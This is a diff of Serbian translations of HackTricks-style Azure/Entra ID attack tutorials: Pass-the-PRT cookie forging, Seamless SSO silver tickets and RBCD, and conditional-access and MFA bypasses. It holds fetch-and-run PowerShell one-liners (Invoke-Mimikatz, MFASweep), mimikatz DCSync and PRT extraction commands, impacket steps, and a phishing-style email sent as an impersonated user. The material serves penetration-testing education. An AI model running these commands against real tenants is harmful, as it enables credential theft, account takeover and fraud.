|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
|
||||
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Kopirajte** deo označen **Prt** i sačuvajte ga.\
|
||||
Izvucite takođe sesijski ključ (**`KeyValue`** polja **`ProofOfPossesionKey`**) koji možete videti označen ispod. Ovo je enkriptovano i biće nam potrebni naši DPAPI master ključevi da bismo ga dekriptovali.
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Ako ne vidite nikakve PRT podatke, može biti da **nemate nikakve PRT-ove** jer vaš uređaj nije povezan sa Azure AD ili može biti da **pokrećete staru verziju** Windows 10.
|
||||
|
||||
Da biste **dekriptovali** sesijski ključ, potrebno je da **povećate** svoja ovlašćenja na **SYSTEM** kako biste radili pod kontekstom računara i mogli da koristite **DPAPI master ključ za dekriptovanje**. Možete koristiti sledeće komande da to uradite:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
```
|
||||
<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Opcija 1 - Potpuni Mimikatz
|
||||
|
||||
- Sada želite da kopirate i Context vrednost:
|
||||
|
||||
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- I vrednost deriviranog ključa:
|
||||
|
||||
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Na kraju, možete iskoristiti sve ove informacije da **generišete PRT kolačiće**:
|
||||
```bash
|
||||
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
|
||||
```
|
||||
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Idite na [https://login.microsoftonline.com](https://login.microsoftonline.com), obrišite sve kolačiće za login.microsoftonline.com i unesite novi kolačić.
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
- Zatim idite na [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> Ostatak bi trebao biti podrazumevani. Uverite se da možete osvežiti stranicu i da kolačić ne nestaje, ako nestane, možda ste napravili grešku i morate ponovo proći kroz proces. Ako ne nestane, trebali biste biti u redu.
|
||||
|
||||
#### Option 2 - roadrecon using PRT
|
||||
|
||||
- Prvo obnovite PRT, koji će ga sačuvati u `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- Sada možemo **zatražiti tokene** koristeći interaktivni pregledač sa `roadtx browserprtauth`. Ako koristimo komandu `roadtx describe`, vidimo da pristupni token uključuje MFA zahtev jer je PRT koji sam koristio u ovom slučaju takođe imao MFA zahtev.
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Opcija 3 - roadrecon koristeći izvedene ključeve
|
||||
|
||||
Imajući kontekst i izvedeni ključ izbačen od strane mimikatz, moguće je koristiti roadrecon za generisanje novog potpisanog kolačića sa:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## Reference
|
||||
|
||||
- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
|
||||
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,17 +4,17 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatski **prijavljuje korisnike kada su na svojim korporativnim uređajima** povezanih na vašu korporativnu mrežu. Kada je omogućeno, **korisnici ne moraju da kucaju svoje lozinke da bi se prijavili na Azure AD**, a obično ni da kucaju svoja korisnička imena. Ova funkcija omogućava vašim korisnicima lak pristup vašim aplikacijama zasnovanim na oblaku bez potrebe za dodatnim komponentama na lokaciji.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatski **prijavljuje korisnike kada su na svojim korporativnim uređajima** povezanih na vašu korporativnu mrežu. Kada je omogućeno, **korisnici ne moraju da kucaju svoje lozinke da bi se prijavili na Azure AD**, i obično, čak ni da kucaju svoja korisnička imena. Ova funkcija omogućava vašim korisnicima lak pristup vašim aplikacijama u oblaku bez potrebe za dodatnim komponentama na lokaciji.
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
U suštini, Azure AD Seamless SSO **prijavljuje korisnike** kada su **na PC-u koji je pridružen lokalnoj domeni**.
|
||||
|
||||
Podržava ga i [**PHS (Sinhronizacija lozinki)**](phs-password-hash-sync.md) i [**PTA (Autentifikacija prolaza)**](pta-pass-through-authentication.md).
|
||||
Podržava ga i [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) i [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
|
||||
|
||||
Desktop SSO koristi **Kerberos** za autentifikaciju. Kada je konfigurisan, Azure AD Connect kreira **račun računara pod nazivom `AZUREADSSOACC$`** u lokalnom AD. Lozinka `AZUREADSSOACC$` računa se **šalje u običnom tekstu Entra ID** tokom konfiguracije.
|
||||
Desktop SSO koristi **Kerberos** za autentifikaciju. Kada je konfigurisan, Azure AD Connect kreira **račun računara pod nazivom `AZUREADSSOACC$`** u lokalnom AD. Lozinka računa `AZUREADSSOACC$` se **šalje u običnom tekstu Entra ID** tokom konfiguracije.
|
||||
|
||||
**Kerberos karte** su **enkriptovane** koristeći **NTHash (MD4)** lozinke, a Entra ID koristi poslatu lozinku za dekripciju karata.
|
||||
**Kerberos karte** su **šifrovane** koristeći **NTHash (MD4)** lozinke, a Entra ID koristi poslatu lozinku za dešifrovanje karata.
|
||||
|
||||
**Entra ID** izlaže **krajnju tačku** (https://autologon.microsoftazuread-sso.com) koja prihvata Kerberos **karte**. Pregledač mašine pridružene domeni prosleđuje karte ovoj krajnjoj tački za SSO.
|
||||
|
||||
@@ -42,10 +42,10 @@ $searcher.FindOne()
|
||||
|
||||
Da bi dobio taj TGS tiket, napadač treba da ima jedan od sledećih:
|
||||
- **TGS kompromitovanog korisnika:** Ako kompromitujete sesiju korisnika sa tiketom za `HTTP/autologon.microsoftazuread-sso.com` u memoriji, možete ga koristiti za pristup cloud resursima.
|
||||
- **TGT kompromitovanog korisnika:** Čak i ako ga nemate, ali je korisnik kompromitovan, možete dobiti jedan koristeći trik lažne TGT delegacije implementiran u mnogim alatima kao što su [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) i [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **TGT kompromitovanog korisnika:** Čak i ako nemate jedan, ali je korisnik kompromitovan, možete dobiti jedan koristeći trik lažne TGT delegacije implementiran u mnogim alatima kao što su [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) i [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Hash ili lozinku kompromitovanog korisnika:** SeamlessPass će komunicirati sa kontrolerom domena sa ovom informacijom da generiše TGT, a zatim TGS.
|
||||
- **Zlatni tiket:** Ako imate KRBTGT ključ, možete kreirati TGT koji vam je potreban za napadnutog korisnika.
|
||||
- **Hash ili lozinku AZUREADSSOACC$ naloga:** Sa ovom informacijom i SID-om korisnika za napad, moguće je kreirati servisni tiket i autentifikovati se sa cloud-om (kao što je izvedeno u prethodnoj metodi).
|
||||
- **Hash ili lozinku AZUREADSSOACC$ naloga:** Sa ovom informacijom i SID-om korisnika koji napadate, moguće je kreirati servisni tiket i autentifikovati se sa cloud-om (kao što je izvedeno u prethodnoj metodi).
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
@@ -67,9 +67,9 @@ wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Dalje informacije o podešavanju Firefoxa za rad sa seamless SSO mogu se [**pronaći u ovom blog postu**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
### Dobijanje hash-eva za AZUREADSSOACC$ nalog
|
||||
### Dobijanje hash-eva naloga AZUREADSSOACC$
|
||||
|
||||
**Lozinka** korisnika **`AZUREADSSOACC$` nikada se ne menja**. Stoga, domen administrator može kompromitovati **hash ovog naloga**, a zatim ga koristiti za **kreiranje silver karata** za povezivanje sa Azure-om sa **bilo kojim on-prem korisnikom koji je sinhronizovan**:
|
||||
**Lozinka** korisnika **`AZUREADSSOACC$` nikada se ne menja**. Stoga, domen admin može kompromitovati **hash ovog naloga**, a zatim ga koristiti za **kreiranje silver karata** za povezivanje na Azure sa **bilo kojim on-prem korisnikom koji je sinhronizovan**:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -108,7 +108,7 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
### Korišćenje Silver Tickets sa Firefoxom
|
||||
### Korišćenje Silver Tickets sa Firefox-om
|
||||
|
||||
Da biste iskoristili silver ticket, sledeći koraci treba da se izvrše:
|
||||
|
||||
@@ -143,7 +143,7 @@ Da biste izvršili napad, potrebni su:
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
2. Korak 2 – Dodelite RBCD na `AZUREADSSOACC$` - Upisuje SID vaše mašine u `msDS-AllowedToActOnBehalfOfOtherIdentity`.
|
||||
2. Korak 2 – Dodelite RBCD na `AZUREADSSOACC$` - Upisuje SID vaše mašine u `msDS-AllowedToActOnBehalfOfOtherIdentity`.
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
@@ -153,7 +153,7 @@ $SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
3. Korak 3 – Kreirajte TGS za bilo kog korisnika (npr. alice)
|
||||
3. Korak 3 – Izradite TGS za bilo kog korisnika (npr. alice)
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
@@ -173,7 +173,7 @@ Možete sada koristiti **TGS za pristup Azure resursima kao imitirani korisnik.*
|
||||
|
||||
### ~~Kreiranje Kerberos karata za korisnike koji koriste samo cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Ako administratori Active Directory-a imaju pristup Azure AD Connect, mogu **postaviti SID za bilo kog cloud-korisnika**. Na ovaj način Kerberos **karte** mogu biti **kreirane i za korisnike koji koriste samo cloud**. Jedini zahtev je da SID bude ispravan [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
Ako administratori Active Directory imaju pristup Azure AD Connect, mogu **postaviti SID za bilo kog cloud-korisnika**. Na ovaj način Kerberos **karte** mogu biti **kreirane i za korisnike koji koriste samo cloud**. Jedini zahtev je da SID bude ispravan [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Promena SID-a korisnika koji koriste samo cloud je sada **blokirana od strane Microsoft-a**.\
|
||||
@@ -22,21 +22,21 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
|
||||
```
|
||||
## Bypass-ovi politika uslovnog pristupa
|
||||
|
||||
Moguće je da politika uslovnog pristupa **proverava neke informacije koje se lako mogu manipulisati, omogućavajući zaobilaženje politike**. I ako je, na primer, politika konfigurisala MFA, napadač će moći da je zaobiđe.
|
||||
Moguće je da politika uslovnog pristupa **proverava neke informacije koje se lako mogu izmeniti, omogućavajući zaobilaženje politike**. I ako je, na primer, politika konfigurisala MFA, napadač će moći da je zaobiđe.
|
||||
|
||||
Prilikom konfigurisanja politike uslovnog pristupa potrebno je naznačiti **korisnike** koji su pogođeni i **ciljne resurse** (kao što su sve cloud aplikacije).
|
||||
|
||||
Takođe je potrebno konfigurisati **uslove** koji će **pokrenuti** politiku:
|
||||
|
||||
- **Mreža**: IP, IP opsezi i geografske lokacije
|
||||
- Može se zaobići korišćenjem VPN-a ili Proxy-a za povezivanje sa zemljom ili uspešnim prijavljivanjem sa dozvoljene IP adrese
|
||||
- Može se zaobići korišćenjem VPN-a ili Proxy-a za povezivanje sa zemljom ili uspevajući da se prijavi sa dozvoljene IP adrese
|
||||
- **Microsoft rizici**: Rizik korisnika, Rizik prijavljivanja, Rizik unutrašnjeg korisnika
|
||||
- **Platforme uređaja**: Bilo koji uređaj ili odabrati Android, iOS, Windows telefon, Windows, macOS, Linux
|
||||
- Ako “Bilo koji uređaj” nije odabran, ali su sve druge opcije odabrane, moguće je zaobići to koristeći nasumični user-agent koji nije povezan sa tim platformama
|
||||
- **Klijentske aplikacije**: Opcije su “Pregledač”, “Mobilne aplikacije i desktop klijenti”, “Exchange ActiveSync klijenti” i “Ostali klijenti”
|
||||
- Da bi se zaobišao prijavljivanje sa neodabranom opcijom
|
||||
- **Filter za uređaje**: Moguće je generisati pravilo vezano za korišćeni uređaj
|
||||
- **Tokovi autentifikacije**: Opcije su “Tok uređajnog koda” i “Prenos autentifikacije”
|
||||
- **Tokovi autentifikacije**: Opcije su “Tok kod uređaja” i “Prenos autentifikacije”
|
||||
- Ovo neće uticati na napadača osim ako ne pokušava da zloupotrebi neki od tih protokola u pokušaju phishing-a da pristupi nalogu žrtve
|
||||
|
||||
Mogući **rezultati** su: Blokirati ili Dodeliti pristup uz potencijalne uslove kao što su zahtev za MFA, uređaj da bude usklađen…
|
||||
@@ -47,7 +47,7 @@ Moguće je postaviti uslov zasnovan na **platformi uređaja** (Android, iOS, Win
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Samo slanjem nepoznatog **user-agent-a** (kao što je `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) dovoljno je da ne pokrene ovaj uslov.\
|
||||
Samo slanjem nepoznatog user-agent-a (kao što je `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) dovoljno je da ne aktivira ovaj uslov.\
|
||||
Možete ručno promeniti user-agent u alatima za razvoj:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
@@ -60,12 +60,12 @@ Ako je ovo postavljeno u uslovnoj politici, napadač bi mogao samo da koristi **
|
||||
|
||||
### Cloud aplikacije
|
||||
|
||||
Moguće je konfigurisati **politike uslovnog pristupa da blokiraju ili primoraju**, na primer, MFA kada korisnik pokuša da pristupi **specifičnoj aplikaciji**:
|
||||
Moguće je konfigurisati **politike uslovnog pristupa da blokiraju ili primoraju** na primer MFA kada korisnik pokuša da pristupi **specifičnoj aplikaciji**:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Da biste pokušali da zaobiđete ovu zaštitu, trebali biste videti da li možete **pristupiti bilo kojoj aplikaciji**.\
|
||||
Alat [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ima **desetine ID-eva aplikacija hardkodiranih** i pokušaće da se prijavi u njih i obavesti vas, pa čak i dati token ako bude uspešan.
|
||||
Alat [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ima **desetine ID-eva aplikacija hardkodiranih** i pokušaće da se prijavi u njih i obavestiće vas, čak će vam dati token ako bude uspešan.
|
||||
|
||||
Da biste **testirali specifične ID-eve aplikacija u specifičnim resursima**, takođe možete koristiti alat kao što je:
|
||||
```bash
|
||||
@@ -86,7 +86,7 @@ Alat [**ROPCI**](https://github.com/wunderwuzzi23/ropci) takođe može biti kori
|
||||
Jedna Azure MFA opcija je da **primite poziv na konfigurisanom broju telefona** gde će biti zatraženo od korisnika da **pošalje znak `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Pošto su znakovi samo **tonovi**, napadač bi mogao da **kompromituje** **poruku govora** na broju telefona, da kao poruku postavi **ton `#`** i zatim, kada se zahteva MFA, da osigura da je **telefon žrtve zauzet** (pozivajući ga) tako da se Azure poziv preusmeri na govornu poštu.
|
||||
> Pošto su znakovi samo **tonovi**, napadač bi mogao da **kompromituje** **poruku govora** na broju telefona, da konfiguriše kao poruku **ton `#`** i zatim, kada se zahteva MFA, da osigura da je **telefon žrtve zauzet** (pozivajući ga) tako da se Azure poziv preusmeri na govornu poštu.
|
||||
|
||||
### Usklađeni uređaji
|
||||
|
||||
@@ -105,7 +105,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
Nađite više informacija o ovoj vrsti napada na sledećoj stranici:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Alati
|
||||
@@ -124,17 +124,17 @@ roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep je PowerShell skripta koja pokušava da **prijavi na razne Microsoft usluge koristeći dati skup kredencijala i pokušava da identifikuje da li je MFA omogućena**. U zavisnosti od toga kako su konfigurirane politike uslovnog pristupa i druga podešavanja višefaktorske autentifikacije, neki protokoli mogu ostati sa jednim faktorom. Takođe ima dodatnu proveru za ADFS konfiguracije i može pokušati da se prijavi na on-prem ADFS server ako je otkriven.
|
||||
MFASweep je PowerShell skripta koja pokušava da **prijavi na razne Microsoft usluge koristeći dati skup kredencijala i pokušava da identifikuje da li je MFA omogućena**. U zavisnosti od toga kako su konfigurisana pravila uslovnog pristupa i druge postavke višefaktorske autentifikacije, neki protokoli mogu ostati sa jednim faktorom. Takođe ima dodatnu proveru za ADFS konfiguracije i može pokušati da se prijavi na lokalni ADFS server ako je otkriven.
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
Ovaj alat je pomogao u identifikaciji MFA zaobilaženja i zatim zloupotrebi API-ja u više produkcionih AAD tenanata, gde su AAD korisnici verovali da imaju MFA primenjen, ali je ROPC zasnovana autentifikacija uspela.
|
||||
Ovaj alat je pomogao u identifikaciji MFA zaobilaženja i zatim u zloupotrebi API-ja u više produkcionih AAD tenanata, gde su AAD korisnici verovali da imaju MFA primenjen, ali je ROPC zasnovana autentifikacija uspela.
|
||||
|
||||
> [!TIP]
|
||||
> Potrebno je imati dozvole da biste mogli da navedete sve aplikacije kako biste generisali listu aplikacija za brute-force.
|
||||
> Potrebno je imati dozvole da biste mogli da navedete sve aplikacije kako biste mogli da generišete listu aplikacija za brute-force.
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
@@ -143,7 +143,7 @@ Ovaj alat je pomogao u identifikaciji MFA zaobilaženja i zatim zloupotrebi API-
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token je skup funkcija koje imaju za cilj da pomognu bezbednosnim konsultantima koji treba da validiraju Politike uslovnog pristupa, testove za Microsoft portale sa 2FA, itd..
|
||||
Donkey token je skup funkcija koje imaju za cilj da pomognu bezbednosnim konsultantima koji treba da validiraju Politike uslovnog pristupa, testove za Microsoft portale sa 2FA, itd.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
|
||||
Reference in New Issue
Block a user